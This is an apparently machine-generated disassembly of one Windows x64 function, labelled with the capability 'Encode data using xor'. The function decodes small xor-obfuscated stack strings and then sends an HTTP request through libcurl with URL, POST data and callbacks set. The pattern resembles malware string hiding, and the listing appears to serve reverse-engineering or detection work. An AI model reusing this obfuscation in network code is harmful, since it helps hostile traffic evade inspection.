Function at 0x140008a80
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r14
push r15
lea rbp, [rsp - 0x37]
sub rsp, 0xc0
mov rax, qword [0x14006a020]
xor rax, rsp
mov qword [rbp + 0x27], rax
mov rdi, r8
mov rsi, rdx
mov r14, rcx
mov qword [rbp - 0x29], rcx
mov qword [rbp - 0x39], rdx
mov qword [rbp - 0x31], r8
call qword [sym.imp.libcurl.dll_curl_easy_init]
mov r15, rax
xor ebx, ebx
test rax, rax
jne 0x140008ba1
mov dword [rbp - 0x29], 0x6c938b93
mov word [rbp - 0x25], 0x100
mov ecx, ebx
nop
lea eax, [rcx - 3]
xor byte [rbp + rcx - 0x29], al
inc rcx
cmp rcx, 4
jb 0x140008ae0
mov byte [rbp - 0x24], bl
mov qword [r14], rbx
mov qword [r14 + 0x10], rbx
mov qword [r14 + 0x18], 0xf
mov byte [r14], 0
mov r8d, 4
lea rdx, [rbp - 0x29]
mov rcx, r14
call fcn.14000d6c0
nop
mov rdx, qword [rsi + 0x18]
cmp rdx, 0x10
jb 0x140008b53
mov rcx, qword [rsi]
inc rdx
cmp rdx, 0x1000
jb 0x140008b4e
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140008e7e
mov rcx, r8
call fcn.140025930
mov qword [rsi + 0x10], rbx
mov qword [rsi + 0x18], 0xf
mov byte [rsi], 0
mov rdx, qword [rdi + 0x18]
cmp rdx, 0x10
jb 0x140008e37
inc rdx
mov rcx, qword [rdi]
cmp rdx, 0x1000
jb 0x140008e32
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140008e72
jmp 0x140008e2f
mov qword [rbp - 0x19], rbx
mov qword [rbp - 9], rbx
mov qword [rbp - 1], 0xf
mov byte [rbp - 0x19], 0
mov qword [rbp + 7], rbx
mov qword [rbp + 0x17], rbx
mov qword [rbp + 0x1f], 0xf
mov byte [rbp + 7], 0
mov r8, rdi
cmp qword [rdi + 0x18], 0x10
jb 0x140008bd6
mov r8, qword [rdi]
mov edx, 0x2712
mov rcx, r15
call qword [sym.imp.libcurl.dll_curl_easy_setopt]
mov edx, 0x51
lea r8d, [rdx - 0x50]
mov rcx, r15
call qword [sym.imp.libcurl.dll_curl_easy_setopt]
mov dword [rbp - 0x29], 0x61869b96
mov dword [rbp - 0x25], 0x2a6b7674
mov dword [rbp - 0x21], 0x696f72
movsd xmm0, qword [rbp - 0x29]
movsd qword [rbp - 0x69], xmm0
mov eax, dword [rbp - 0x21]
mov dword [rbp - 0x61], eax
mov byte [rbp - 0x5d], 1
lea r8, [rbp - 0x69]
mov edx, 0x27c1
mov rcx, r15
call qword [sym.imp.libcurl.dll_curl_easy_setopt]
mov edx, 0x40
lea r8d, [rdx - 0x3f]
mov rcx, r15
call qword [sym.imp.libcurl.dll_curl_easy_setopt]
mov r8, rsi
cmp qword [rsi + 0x18], 0x10
jb 0x140008c50
mov r8, qword [rsi]
mov edx, 0x271f
mov rcx, r15
call qword [sym.imp.libcurl.dll_curl_easy_setopt]
lea r8, [0x140007620]
mov edx, 0x4e2b
mov rcx, r15
call qword [sym.imp.libcurl.dll_curl_easy_setopt]
lea r8, [rbp - 0x19]
mov edx, 0x2711
mov rcx, r15
call qword [sym.imp.libcurl.dll_curl_easy_setopt]
lea r8, [0x140007650]
mov edx, 0x4e6f
mov rcx, r15
call qword [sym.imp.libcurl.dll_curl_easy_setopt]
lea r8, [rbp + 7]
mov edx, 0x272d
mov rcx, r15
call qword [sym.imp.libcurl.dll_curl_easy_setopt]
mov rcx, r15
call qword [sym.imp.libcurl.dll_curl_easy_perform]
test eax, eax
je 0x140008cff
mov ecx, eax
call qword [sym.imp.libcurl.dll_curl_easy_strerror]
mov qword [rbp - 0x59], rbx
mov qword [rbp - 0x49], rbx
mov qword [rbp - 0x41], 0xf
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140008ce0
mov rdx, rax
lea rcx, [rbp - 0x59]
call fcn.14000d6c0
lea rcx, [rbp - 0x59]
call fcn.140008e90
movups xmm0, xmmword [rbp - 0x19]
movups xmmword [r14], xmm0
movups xmm1, xmmword [rbp - 9]
movups xmmword [r14 + 0x10], xmm1
mov qword [rbp - 9], rbx
mov eax, 0xf
mov qword [rbp - 1], rax
mov byte [rbp - 0x19], 0
mov rdx, qword [rbp + 0x1f]
cmp rdx, 0x10
jb 0x140008d60
inc rdx
mov rcx, qword [rbp + 7]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008d57
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140008e84
call fcn.140025930
mov rax, qword [rbp - 1]
mov qword [rbp + 0x17], rbx
mov qword [rbp + 0x1f], 0xf
mov byte [rbp + 7], 0
cmp rax, 0x10
jb 0x140008da8
lea rdx, [rax + 1]
mov rcx, qword [rbp - 0x19]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008da3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140008e8a
call fcn.140025930
mov qword [rbp - 9], rbx
mov qword [rbp - 1], 0xf
mov byte [rbp - 0x19], 0
mov rdx, qword [rsi + 0x18]
cmp rdx, 0x10
jb 0x140008df2
mov rcx, qword [rsi]
inc rdx
cmp rdx, 0x1000
jb 0x140008ded
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140008e6c
mov rcx, r8
call fcn.140025930
mov qword [rsi + 0x10], rbx
mov qword [rsi + 0x18], 0xf
mov byte [rsi], 0
mov rdx, qword [rdi + 0x18]
cmp rdx, 0x10
jb 0x140008e37
inc rdx
mov rcx, qword [rdi]
cmp rdx, 0x1000
jb 0x140008e32
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140008e78
mov rcx, r8
call fcn.140025930
mov qword [rdi + 0x10], rbx
mov qword [rdi + 0x18], 0xf
mov rax, r14
mov byte [rdi], 0
mov rcx, qword [rbp + 0x27]
xor rcx, rsp
call fcn.140025910
mov rbx, qword [rsp + 0x108]
add rsp, 0xc0
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
call fcn.140033344
nop
call fcn.140033344
int3
call fcn.140033344
nop
call fcn.140033344
nop
call fcn.140033344
nop
call fcn.140033344
int3